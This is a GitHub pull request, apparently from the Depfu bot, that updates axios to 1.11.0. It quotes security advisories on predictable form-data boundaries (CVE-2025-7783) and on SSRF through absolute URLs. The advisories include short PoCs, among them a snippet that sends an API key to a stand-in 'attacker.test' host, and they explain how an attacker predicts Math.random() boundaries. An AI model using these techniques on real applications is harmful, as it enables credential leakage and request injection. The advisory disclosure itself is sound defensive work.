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🚨 [security] Update axios 1.6.8 → 1.11.0 (minor) #127

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🚨 [security] Update axios 1.6.8 → 1.11.0 (minor) #127

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@depfu depfu bot commented Jul 24, 2025

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (1.6.8 → 1.11.0) · Repo · Changelog

Security Advisories 🚨

🚨 Axios has Transitive Critical Vulnerability via form-data — Predictable Boundary Values (CVE-2025-7783)

Summary

A critical vulnerability exists in the form-data package used by axios@1.10.0. The issue allows an attacker to predict multipart boundary values generated using Math.random(), opening the door to HTTP parameter pollution or injection attacks.

This was submitted in issue #6969 and addressed in pull request #6970.

Details

The vulnerable package form-data@4.0.0 is used by axios@1.10.0 as a transitive dependency. It uses non-secure, deterministic randomness (Math.random()) to generate multipart boundary strings.

This flaw is tracked under Snyk Advisory SNYK-JS-FORMDATA-10841150 and CVE-2025-7783.

Affected form-data versions:

  • <2.5.4

  • =3.0.0 <3.0.4

  • =4.0.0 <4.0.4

Since axios@1.10.0 pulls in form-data@4.0.0, it is exposed to this issue.

PoC

  1. Install Axios: - npm install axios@1.10.0
    2.Run snyk test:
Tested 104 dependencies for known issues, found 1 issue, 1 vulnerable path.

✗ Predictable Value Range from Previous Values [Critical Severity]

in form-data@4.0.0 via axios@1.10.0 > form-data@4.0.0

  1. Trigger a multipart/form-data request. Observe the boundary header uses predictable random values, which could be exploited in a targeted environment.

Impact

  • Vulnerability Type: Predictable Value / HTTP Parameter Pollution
  • Risk: Critical (CVSS 9.4)
  • Impacted Users: Any application using axios@1.10.0 to submit multipart form-data

This could potentially allow attackers to:

  • Interfere with multipart request parsing
  • Inject unintended parameters
  • Exploit backend deserialization logic depending on content boundaries

Related Links

GitHub Issue #6969

Pull Request #xxxx (replace with actual link)

Snyk Advisory

form-data on npm

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});


// const userId = "123";

const userId = "http://attacker.test/";


await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ form-data (indirect, 4.0.0 → 4.0.4) · Repo

Security Advisories 🚨

🚨 form-data uses unsafe random function in form-data for choosing boundary

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: 

    <tbody>
boundary += Math.floor(Math.random() * 10).toString(16);

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Release Notes

4.0.1

Fixes

  • npmignore temporary build files (#532)
  • move util.isArray to Array.isArray (#564)

Tests

  • migrate from travis to GHA

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 56 commits:

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 function-bind (added, 1.1.2)

🆕 get-intrinsic (added, 1.3.0)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 has-symbols (added, 1.1.0)

🆕 has-tostringtag (added, 1.0.2)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

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@depfu depfu bot added the depfu label Jul 24, 2025
@depfu depfu bot mentioned this pull request Jul 24, 2025
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depfu bot commented Sep 11, 2025

Closed in favor of #133.

@depfu depfu bot closed this Sep 11, 2025
@depfu depfu bot deleted the depfu/update/npm/axios-1.11.0 branch September 11, 2025 22:05
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